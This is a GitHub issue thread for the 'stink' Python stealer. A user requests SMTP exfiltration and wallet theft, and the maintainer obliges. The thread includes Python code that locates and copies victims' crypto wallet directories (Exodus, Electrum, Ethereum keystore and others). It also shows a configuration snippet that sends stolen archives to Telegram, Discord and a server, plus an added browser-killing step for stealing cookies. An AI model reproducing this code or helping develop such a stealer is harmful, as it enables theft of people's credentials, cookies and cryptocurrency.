FallenAstaroth / stink

🚀 Stealer on built-in libraries only, which doesn't create any temp files on data collecting, with 4 sending methods and lots of functionality.
Apache License 2.0
222 stars 56 forks source link

SMTP sending option #51

Closed jamiekarvans closed 8 months ago

jamiekarvans commented 9 months ago

First of all i wanted to say you wrote your code beautifully well done. and lately with discord banning accounts and telegram being filtered in most countries, it would be really nice to have the option to send data via SMTP, either gmail server or.... and is it now possible to have more than one sending method? for exampling sending to telegram, discord and..?

also i think it would be also very nice to add wallet grabber to the app, simply coping wallet directories would work, here is a list of them:

def getwallets():
    wallets = (
        ('Zcash', os.path.join(os.getenv("appdata"), "Zcash")),
        ("Armory", os.path.join(os.getenv("appdata"), "Armory")),
        ("Bytecoin", os.path.join(os.getenv("appdata"), "Bytecoin")),
        ('jaxx', os.path.join(os.getenv("appdata"), "com.liberty.jaxx", "IndexedDB", "file_0.indexeddb.leveldb")),
        ("Exodus", os.path.join(os.getenv("appdata"), "Exodus", "exodus.wallet")),
        ("Ethereum", os.path.join(os.getenv("appdata"), "Ethereum", "keystore")),
        ("Electrum", os.path.join(os.getenv("appdata"), "Electrum", "wallets")),
        ("atomic", os.path.join(os.getenv("appdata"), "atomic", "Local Storage", "leveldb")),
        ("Guarda", os.path.join(os.getenv("appdata"), "Guarda", "Local Storage", "leveldb")),
        ("Coinomi", os.path.join(os.getenv("localappdata"), "Coinomi", "Coinomi", "wallets")),
    )

    for name, path in wallets:
        if os.path.isdir(path):
            os.mkdir(f'{the working directory}\\{name}')
            copy_tree(path, f"{the working directory}\\{name}")
            with open(f"{the working directory}\\{name}\\Location.txt", "+w") as text:
                text.write(path)
FallenAstaroth commented 9 months ago

Thank you)

Yes, for now there are 3 built-in sending options - Discord, Telegram and own Server. About the latter a full guide can be found here.

I will add SMTP and wallets as soon as I have free time.

FallenAstaroth commented 9 months ago

About multiple sending methods - yes, you can specify two or all at once and the archive will be sent to each.

Example:

from stink import Stealer, Features, Senders

if __name__ == '__main__':
    Stealer(
        senders=[
            Senders.telegram(token="YOUR_TOKEN", user_id=YOUR_ID),
            Senders.server(server="YOUR_SERVER"),
            Senders.discord(webhook="YOUR_WEBHOOK")
        ]
    ).run()
FallenAstaroth commented 8 months ago

Added sending archive via SMTP.

Example: https://github.com/FallenAstaroth/stink/wiki/Smtp

jamiekarvans commented 8 months ago

Added sending archive via SMTP.

Example: https://github.com/FallenAstaroth/stink/wiki/Smtp

Thanx alot, i've tried it and it works perfectly fine. and i've just noticed i accidentally sent you the browser paths not the wallets, i edited the comment now.

and btw seeing your code, you really put it there nicely and write with such structure and i really like it, i was wondering what book or tutorial would you recommend me to read to be better at Classes and coding with structure, specially about referring from outside of classes, init, self... or any book you would recommend to yourself now for the time you were learning python?

thanx alot in advance, have a great day.

FallenAstaroth commented 8 months ago

Added sending archive via SMTP. Example: https://github.com/FallenAstaroth/stink/wiki/Smtp

Thanx alot, i've tried it and it works perfectly fine. and i've just noticed i accidentally sent you the browser paths not the wallets, i edited the comment now.

and btw seeing your code, you really put it there nicely and write with such structure and i really like it, i was wondering what book or tutorial would you recommend me to read to be better at Classes and coding with structure, specially about referring from outside of classes, init, self... or any book you would recommend to yourself now for the time you were learning python?

thanx alot in advance, have a great day.

Thanks, it's really nice to read this)

I will add wallets in the next update.

About books and tutorials - here unfortunately I can't advise anything, as I learned by myself. My path started with bots for social networks. I searched for all the information on google, asked a lot of stupid questions on forums like stackoverflow and habr, and studied other people's code on the same forums and gitHub. Perhaps I would have gone faster with programming books, but I didn't read any of them, only now I started to watch videos on youtube sometimes on all sorts of not obvious nuances and so on.

FallenAstaroth commented 8 months ago

Crypto wallets added starting with version 4.1.0.

jamiekarvans commented 8 months ago

funny i was just writing to you. the app freezes if browser is open, can you implant task killing before accessing sql databases?

jamiekarvans commented 8 months ago

Crypto wallets added starting with version 4.1.0.

thanx for the update i'm trying it now

FallenAstaroth commented 8 months ago

funny i was just writing to you. the app freezes if browser is open, can you implant task killing before accessing sql databases?

Yes, I see the problem, it appeared with the new browser update and it seems that so far the only way to get the cookies is to kill the browser process.

FallenAstaroth commented 8 months ago

Added a means of killing processes until there is a solution to the problem with blocking files in the browser.